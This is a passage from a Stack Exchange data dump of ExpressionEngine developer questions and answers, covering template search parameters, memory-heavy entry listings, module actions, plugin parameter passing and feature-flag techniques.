  <row Id="13333" PostTypeId="2" ParentId="13330" CreationDate="2013-08-30T10:01:28.523" Score="2" Body="&lt;p&gt;Are you using version 2.7 of ExpressionEngine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just looked at the docs for version 2.6 and there is no mention of being able to search numeric fields with &lt;code&gt;&amp;lt;&lt;/code&gt; or &lt;code&gt;&amp;gt;&lt;/code&gt;, so it looks like that may have been added to the latest version only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a look at the top righthand corner of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; page on the EllisLab site, you can download older versions of the docs if you haven't yet upgraded.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-30T10:01:28.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13334" PostTypeId="1" AcceptedAnswerId="13336" CreationDate="2013-08-30T10:12:15.183" Score="2" ViewCount="51" Body="&lt;p&gt;I only want a particular action to be available to certain user types. Is there a way to 'bake' this in when I register the action in my module install file, or do I need to check authorisation in the actual action method?&lt;/p&gt;&#xA;" OwnerUserId="1964" LastEditorUserId="55" LastEditDate="2013-08-30T12:00:19.173" LastActivityDate="2013-08-30T12:00:19.173" Title="How do I limit access to certain actions based on member role?" Tags="|ee2|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13335" PostTypeId="2" ParentId="13324" CreationDate="2013-08-30T11:44:49.373" Score="1" Body="&lt;p&gt;The syntax for SuperSearch is a little different.&#xA;ref &lt;a href=&quot;http://www.solspace.com/docs/super_search/results/#search&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/results/#search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like: search=&quot;keywords=green&amp;amp;channel=products&amp;amp;category=pants+shirts&amp;amp;status=-closed&amp;amp;orderby=title+asc&amp;amp;limit=100&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usage of the &quot;search:&quot; parameter is a current limitation in Super Search. Because Super Search uses the Channel Entries API, it does by default &quot;work&quot; when you try to use &quot;search:stuff&quot; parameters, however Super Search does not account for this in the {super_search_total_results} variable. This is not quite a bug, though I agree it seems like it could be easily supported/added in and be a valuable addition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you submit a Feature Request for it here: &lt;a href=&quot;http://support.solspace.com/support/discussions/forums/213813&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions/forums/213813&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-09-10T20:51:23.777" LastActivityDate="2013-09-10T20:51:23.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13336" PostTypeId="2" ParentId="13334" CreationDate="2013-08-30T11:59:37.997" Score="2" Body="&lt;p&gt;Actions (to clarify - entries in EE's &lt;code&gt;exp_actions&lt;/code&gt; table) have no member group associations. If you want to allow only specific members or member groups to run an action, you will indeed need to write this logic inside your action method.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-30T11:59:37.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13337" PostTypeId="1" CreationDate="2013-08-30T14:41:14.783" Score="1" ViewCount="179" Body="&lt;p&gt;I'm setting up a staging server on a Network Solutions site before preparing it to go live next week. I created a new subdomain pointing to /htdocs/staging/html so I can move system above root (plan to do the same to the live site; /htdocs/live/html). However I'm getting the infamous error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;An Error Was Encountered&#xA;Site Error: Unable to Load Site Preferences; No Preferences Found&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double checked the database settings and the tried using both the server alias and IP address. Username and passsword for MySQL have been checked and double checked. I'm sure someone has successfully hosted an EE site on Network Solutions and can hopefully give me an idea of what I might be doing wrong here.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-09-30T03:50:25.727" Title="Database connectivity error with EE on Network Solutions" Tags="|database|error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13338" PostTypeId="1" AcceptedAnswerId="13339" CreationDate="2013-08-30T14:44:07.580" Score="3" ViewCount="60" Body="&lt;p&gt;Does EE have any built in classes or helper functions to perform common tasks in module code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this instance, I want to generate an href to a member profile to use in a control panel view, from a member ID. I have looked in the expression engine core code and not found anything.&lt;/p&gt;&#xA;" OwnerUserId="1964" LastEditorUserId="1964" LastEditDate="2013-08-30T15:07:56.387" LastActivityDate="2013-08-30T15:45:18.727" Title="Is there a helper function to generate a link to a member profile for a control panel view?" Tags="|ee2|control-panel|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13339" PostTypeId="2" ParentId="13338" CreationDate="2013-08-30T15:45:18.727" Score="2" Body="&lt;p&gt;EE has many helper functions - see the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/reference/functions.html&quot; rel=&quot;nofollow&quot;&gt;Functions class documentation&lt;/a&gt; for example. Also, all &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter&lt;/a&gt; helpers and classes can be loaded and used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a look in the &lt;code&gt;models&lt;/code&gt; directory, you'll find many helpful methods there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: member profile - do you mean on the front-end, or in the control panel? (In either case, I believe the answer is &quot;no&quot; - just built it manually.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-30T15:45:18.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13340" PostTypeId="2" ParentId="5460" CreationDate="2013-08-30T17:12:30.233" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#numeric-matching&quot; rel=&quot;nofollow&quot;&gt;Numeric Matching&lt;/a&gt; was added for the search:field_name=&quot;&quot; parameter as of EE2.7.0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From the Change Log:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Added &amp;lt;, &gt;, &amp;lt;=, and &gt;= numeric comparison operators to the Channel Entries search parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From the Docs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you have a field containing numeric data, you may use greater-than&#xA;  or less-than operators to search through them.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;search:numeric_field=&quot;&amp;lt;20&quot;&lt;br&gt;&#xA;  search:numeric_field=&quot;&gt;20&quot;&lt;br&gt;&#xA;  search:numeric_field=&quot;&amp;lt;=20&quot;&lt;br&gt;&#xA;  search:numeric_field=&quot;&gt;=20&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="172" LastEditDate="2013-08-30T18:11:34.487" LastActivityDate="2013-08-30T18:11:34.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13341" PostTypeId="1" AcceptedAnswerId="13343" CreationDate="2013-08-30T17:30:29.320" Score="2" ViewCount="398" Body="&lt;p&gt;I'm running into memory issues with a page that lists lots (hundreds, eventually 1000+) of little news items that consist of a title, date, and sometimes brief description. These are each channel entries, and I've taken the following steps to reduce memory usage and speed up page rendering:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;utilize the {exp:channel:entries} disable parameter (&lt;code&gt;disable=&quot;categories|category_fields|member_data|pagination&quot;&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;cache the entire page output with &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt; (&lt;code&gt;{exp:ce_cache:it id=&quot;page&quot; seconds=&quot;3600&quot;}&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;maintain a relatively high PHP memory limit (256MB)&lt;/li&gt;&#xA;&lt;li&gt;avoid rendering any more complex fields (Playa, Matrix, etc.), which are this case part of the entries but not used on the page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also attempted to temporarily boost PHP's memory using &lt;code&gt;ini_set('memory_limit', '1024M')&lt;/code&gt; before the exp:channel:entries call in the template, then &lt;code&gt;ini_set('memory_limit', '256M')&lt;/code&gt; after, but this doesn't work. (Never tried this in a template, so I'm not surprised anyway.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any common practices or alternate approaches that would be appropriate here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is this just a nonsensical goal that's forcing a no-win outcome?&lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="810" LastEditDate="2013-08-30T17:40:21.557" LastActivityDate="2013-08-30T19:49:26.713" Title="What's the best practice for rendering a high number of entries with exp:channel:entries?" Tags="|channel-entries|performance|memory|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13342" PostTypeId="2" ParentId="13198" CreationDate="2013-08-30T17:56:40.007" Score="1" Body="&lt;p&gt;You could use the built-in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/default_html_buttons.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;html formatting buttons&lt;/strong&gt;&lt;/a&gt; in EE, which can be enabled on a Textarea field. This would meet your requirement of no &lt;code&gt;br&lt;/code&gt; or &lt;code&gt;p&lt;/code&gt; tags without the need of a plugin to strip them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user clicks a formatting button the correct html is applied automatically, but it does leave the tags exposed (not a wysiwyg).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tn7OI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-08-30T17:56:40.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13343" PostTypeId="2" ParentId="13341" CreationDate="2013-08-30T18:09:31.350" Score="2" Body="&lt;p&gt;One thing worth looking at is how well the {exp:channel:entries} loop you describes performs in a template with nothing else--no embeds, plugins, etc., vs in the context of the actual page on your site. It's important to be sure that your general template / page architecture isn't putting too heavy a load on EE / your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, in addition to what you've done above, the caching you do on other elements on the page, and across your whole site, may be very relevant. In general, I've found that caching more, and for longer times, across a whole site is a good way to leave space for queries / processes that need memory and processor time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've dealt with a bunch of EE memory limit issues over the years, and I rely heavily on CE Cache these days. Where possible, I especially like using the static cache in the mode where it totally bypasses EE. But, beyond caching, I've had to do some combination of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add more memory -- the obvious!!!&lt;/li&gt;&#xA;&lt;li&gt;use a CRON job to generate close-to-final-format results in the database, and pull those into the template using a simple {exp:query}&lt;/li&gt;&#xA;&lt;li&gt;ditch using EE channel or query tags, and do SQL queries directly from PHP (because, it's less overhead and you can really optimize your SQL)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-08-30T19:49:26.713" LastActivityDate="2013-08-30T19:49:26.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13344" PostTypeId="2" ParentId="13341" CreationDate="2013-08-30T18:09:39.277" Score="0" Body="&lt;p&gt;Matt, a couple different approaches for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is a page hit frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) use pagination in your channel entries tag to reduce the number of results displayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) cache the page using template preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) use stash to cache the channel entries fields you need. &#xA;For example here is a rough framework for the approach - ( hint - you need to add some paramaters to these tags)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:set_list [add params] save=&quot;yes&quot; refresh=&quot;1440&quot;}&lt;br&gt;&#xA;{exp:channel:entries [add params] disable=[everthing except pagination]}&lt;br&gt;&#xA;{stash:title}{title}{/stash:title}&lt;br&gt;&#xA;{stash:date}{expiration_date}{/stash:date}&lt;br&gt;&#xA;...And so on&lt;br&gt;&#xA;{/exp:channel:entries}&lt;br&gt;&#xA;{/exp:stash:set}&lt;br&gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then later in the page use get_list to  display results in your markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Advanced: create your own plugin to return results, the use then stash to cache it. This approach worked us on one landing page because we needed to display up to 100 channel entries plus channel_images for each ( extra queries) plus matrix (extra queries). Using the channel entries tag, the number of queries increased relative to the number of results. In the end 200+ queries and huge memory. Now, about 33 queries (doesnt increase relative to num of  results), memory about 4mb and speed about 0.43 seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you need pagination? If so, copy the query module, replace  $sql with your own query and away you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) use automatee to refresh your cache results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) limit page to only one or two embeds&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-30T18:24:02.167" LastActivityDate="2013-08-30T18:24:02.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13345" PostTypeId="1" AcceptedAnswerId="13346" CreationDate="2013-08-30T19:22:45.870" Score="0" ViewCount="330" Body="&lt;p&gt;Below is all relevant code and the resulting output. &lt;strong&gt;An explanation of my confusion follows.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Registration Script&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(isset($_POST['username']))&#xA;{&#xA;    echo &quot;1 - Start&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);&#xA;    echo &quot;2 - Username from POST - $username&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    $password = $_POST['password'];&#xA;    echo &quot;3 - Password from POST - $password&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    $passhash = &quot;{exp:encryption:create_hash password='&quot; . $password . &quot;'}&quot;; //Contains echo 4&#xA;    echo &quot;5 - Hashed Password Returned - $passhash&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    $username2 = &quot;{exp:encryption:print_username username='&quot; . $username . &quot;'}&quot;; //Contains echo 6&#xA;    echo &quot;7 - printed Username - $username2&amp;lt;br /&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;    {exp:database:add_user username=&quot;&amp;lt;?php echo $username2; ?&amp;gt;&quot; passhash=&quot;&amp;lt;?php echo $passhash; ?&amp;gt;&quot;} &amp;lt;!--Contains echo 8--&amp;gt; &#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin: pi.encryption.php (excerpt)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Create_hash()&#xA;{&#xA;    $password = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('password');&#xA;&#xA;    //echo &quot;Password to hash: $password&amp;lt;br /&amp;gt;&quot;;&#xA;    // format: algorithm:iterations:salt:hash&#xA;    $salt = base64_encode(mcrypt_create_iv(PBKDF2_SALT_BYTE_SIZE, MCRYPT_DEV_URANDOM));&#xA;    $hashed = PBKDF2_HASH_ALGORITHM . &quot;:&quot; . PBKDF2_ITERATIONS . &quot;:&quot; .  $salt . &quot;:&quot; .&#xA;        base64_encode($this-&amp;gt;Pbkdf2(&#xA;            PBKDF2_HASH_ALGORITHM,&#xA;            $password,&#xA;            $salt,&#xA;            PBKDF2_ITERATIONS,&#xA;            PBKDF2_HASH_BYTE_SIZE,&#xA;            true&#xA;        ));&#xA;    echo &quot;4 - Hashed Password Method - $hashed&amp;lt;br /&amp;gt;&quot;;&#xA;    return $hashed;&#xA;}&#xA;&#xA;function Print_username()&#xA;{&#xA;    $username = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('username');&#xA;    echo &quot;6 - Pushing username through function - $username&amp;lt;br /&amp;gt;&quot;;&#xA;    return $username;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin: pi.database.php (excerpt)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Add_user()&#xA;{&#xA;    $username = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('username');&#xA;    $passhash = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('passhash');&#xA;&#xA;    echo &quot;8&amp;lt;br /&amp;gt;&quot;;&#xA;    echo &quot;---&amp;gt;Username to database: $username&amp;lt;br /&amp;gt;&quot;;&#xA;    echo &quot;---&amp;gt;Passhash to database: $passhash&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    $data = array(&#xA;        'User_ID'       =&amp;gt;null,&#xA;        'User_Name'     =&amp;gt;$username,&#xA;        'User_Passhash' =&amp;gt;$passhash.&quot;&quot;&#xA;    );&#xA;    $query = ee()-&amp;gt;db-&amp;gt;insert('exp_user', $data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Printed output from running the registration script&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 - Hashed Password Method - sha256:1000:axEzJMSQWDR/tyeeuWxDJC80YHJGlIm/:yk1KnSWyeXlwPb4vQThKAyXSF/yqwiID&#xA;6 - Pushing username through function - testUsername&#xA;8&#xA;---&amp;gt;Username to database: M10o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&#xA;---&amp;gt;Passhash to database: M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&#xA;1 - Start&#xA;2 - Username from POST - testUsername&#xA;3 - Password from POST - testPassword&#xA;5 - Hashed Password Returned - sha256:1000:axEzJMSQWDR/tyeeuWxDJC80YHJGlIm/:yk1KnSWyeXlwPb4vQThKAyXSF/yqwiID&#xA;7 - printed Username - testUsername&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my registration script which contains expression engine tags, I inserted some test prints to make it easier to follow the program execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My code (if the world were perfect) retrieves a given username and password from POST. The password is encrypted with a plugin function. Then a second plugin function is used to add the username and the encrypted password to a database.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PHP parsing order is set to &quot;Input&quot;, so the php is parsed before the EE tags. With this in mind, I am a bit confused why the PHP lines containing EE tags are all executed first as a group. Though that is confusing, that is not my main problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at output line #8. The $passhash sent to the Add_user() method via the EE tags is not the value of $passhash that is generated and returned by the Create_hash() method. Even though I explicitly send $passhash to the Add_user() function, a completely different string is sent instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$username, if passed directly to the Add_user() method, acts as is intended and is properly added to the database.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having with $passhash only happens when I'm using a result returned from a plugin function. I confirmed this by recreating the issue using $username. To see if the issue is consistent, I changed my code to pipe $username through the Print_username(). It simply returns the string given, and is saved as $username2 in the registration script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demonstrated in the output line 8, $username2 is now having the same issue as $passhash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, my question:&lt;/strong&gt; How can I use returned values from plugin functions as parameters for other plugins without the latter receiving garbage?&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2013-08-30T19:45:16.467" Title="How can I use returned values from plugin functions as parameters for other plugins? Example code and details provided" Tags="|plugin|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13346" PostTypeId="2" ParentId="13345" CreationDate="2013-08-30T19:45:16.467" Score="4" Body="&lt;p&gt;What you're trying to accomplish would be better served using a module, instead of plugins in a template. With a module, you can create a true form action and use pure PHP, rather than fighting the template parser with the spaghetti you've got here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are good docs on building a module: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/modules.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular you want to create an action in your module-&gt;install function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function install()&#xA;{&#xA;  $data = array(&#xA;    'module_name' =&amp;gt; 'Module_name',&#xA;    'module_version' =&amp;gt; $this-&amp;gt;version,&#xA;    'has_cp_backend' =&amp;gt; 'n',&#xA;    'has_publish_fields' =&amp;gt; 'n',&#xA;  );&#xA;&#xA;  ee()-&amp;gt;db-&amp;gt;insert('modules', $data);&#xA;&#xA;  //here's where you create your action in the database&#xA;  //later on, you'll look up this action to POST to it&#xA;  $data = array(&#xA;    'class'     =&amp;gt; 'Module_name',&#xA;    'method'    =&amp;gt; 'register'&#xA;  );&#xA;&#xA;  ee()-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your module you'd create a register method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register()&#xA;{&#xA;   //get the username &amp;amp; password from $_POST&#xA;   //hash the password&#xA;   //add the user to DB&#xA;   //redirect or print a message&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll also need to create a form tag (you can call it whatever you want):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function form()&#xA;{&#xA;  $return_data = ee()-&amp;gt;functions-&amp;gt;form_declaration(array(&#xA;    'hidden_fields' =&amp;gt; array(&#xA;      'ACT' =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Module_name', 'register'),&#xA;    ),&#xA;  ));&#xA;&#xA;  $return_data .= ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;  $return_data .= '&amp;lt;/form&amp;gt;';&#xA;&#xA;  return $return_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can print the form in a template on the front-end, and it will correctly POST to your form action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:module_name:form}&#xA;  &amp;lt;input name=&quot;username&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:module_name:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-30T19:45:16.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13347" PostTypeId="2" ParentId="13325" CreationDate="2013-08-30T20:26:45.650" Score="0" Body="&lt;p&gt;For the /store/ page, continue as you are doing and have your two channel entry loops.&#xA;The first loop currently hits category=9 for My Recordings.  Continue this and output only the information you desire.  Do the second loop on category=14 for Other Recordings and output only the information you desire.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these areas would then link to individual item pages.  You could have your template look to see if {segment_3} exists.  This would be the title_url for each individual CD.  If {segment_3) exists, look at that specific item in a Channel Entry loop and depending on the category, output as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your URL structure could look like:&#xA;\store\ - all items&#xA;\store\cd_name - output either as My Recording and show Other Recordings at bottom, or output as Other Recording and display as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can all be done in one template.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2013-08-30T20:26:45.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13348" PostTypeId="1" CreationDate="2013-08-30T21:45:37.557" Score="2" ViewCount="256" Body="&lt;p&gt;I'm trying to relate multiple entries in a database with about 2,500 total entries in one channel. It takes a minute to load the full list in the control panel for each entry -- which is unacceptable for doing many of these each day. I know I can limit the entries, but I need to relate to previous entries throughout my database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is if Playa is any better at this? For those of you using it to relate to at least 2,000 entires in a channel, do you have to wait 60 seconds+ for the list to load? (And yes, I'm on a very fast Internet connection -- this appears to be a browser/server issue.) If it's much faster, I'll buy it ASAP!&lt;/p&gt;&#xA;" OwnerUserId="1983" LastActivityDate="2013-09-01T12:34:48.747" Title="Is Playa as slow as built in Relationships with 1000s of entries?" Tags="|playa|relationships|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13349" PostTypeId="1" AcceptedAnswerId="13657" CreationDate="2013-08-30T22:28:53.240" Score="3" ViewCount="496" Body="&lt;p&gt;What are techniques you use to show different features / versions of your EE site to different users? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &quot;feature flag&quot; techniques in my client-side Javascript (my &lt;a href=&quot;https://github.com/jayf/javascript-feature-flags&quot; rel=&quot;nofollow&quot;&gt;Javascript Feature Flags library&lt;/a&gt; is a temporarily out-of-date example), and want to enable something(s) similar in EE. Scenarios I'd like to support--e.g., on a live, production site, at the same URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allow developers to see different templates than regular users&lt;/li&gt;&#xA;&lt;li&gt;allow developers to see different content than regular users&lt;/li&gt;&#xA;&lt;li&gt;allow user group A to see one feature, and user group B to see a different feature (e.g., A/B testing, or gradual rollout of new features)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The obvious EE technique that comes to mind is having simple &quot;router&quot; templates, that conditionally embed other templates. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_id==1} {!-- ideally, abstracted to {if dev==1} --}&#xA;  {embed=&quot;developer/index&quot;}&#xA;{if:else}&#xA;  {embed=&quot;production/index&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could imagine abstracting that, such that I could set a global feature flag that is triggered by specific conditions (specific member_id, group_id, ip_address or a cookie value). Using &lt;a href=&quot;https://github.com/averyvery/Freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt;, one could use URL segments as trigger, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this kind of thing on an ad hoc basis within a template, but I'm curious if others have done anything like this, systematically. If so, what technique(s) have you used? Have you found it useful and maintainable over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; ideas for ad hoc techniques are appreciated. But I'm especially interested to know of any systematic approaches being taken, and their relative pros / cons for maintainability and ongoing usefulness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, is there some code you make available to every template that allows you to switch things on and off across many templates? Is there an add-on or htaccess technique that gives you top-level control over routing, that allows you to conditionally set routes (based on user, cookie, ip address, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-09-01T19:24:02.243" LastActivityDate="2013-09-11T04:05:41.680" Title="Techniques for using &quot;feature flags&quot; / conditional features in EE" Tags="|routing|versioning|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13350" PostTypeId="1" CreationDate="2013-08-30T22:31:50.007" Score="1" ViewCount="105" Body="&lt;p&gt;I'm doing a major re-desing of an old EE1 site and would like to stick a copy of the old site on the subdomain archives.mystie.com for future access.  With EE2 there are wonderful addons like REElocate to make this process easier. I haven't found anything similar for EE1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated my config and path fiels and I'm able to navigate the CP using the following URL structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/archives/systemfolder/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of questions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;ONE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get it to work using the subdomain url &#xA;archives.mysite.com/systemfolder/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what could be preventing that, but if someone has some ideas I'd love to hear them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;TWO&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The paths to my file assets 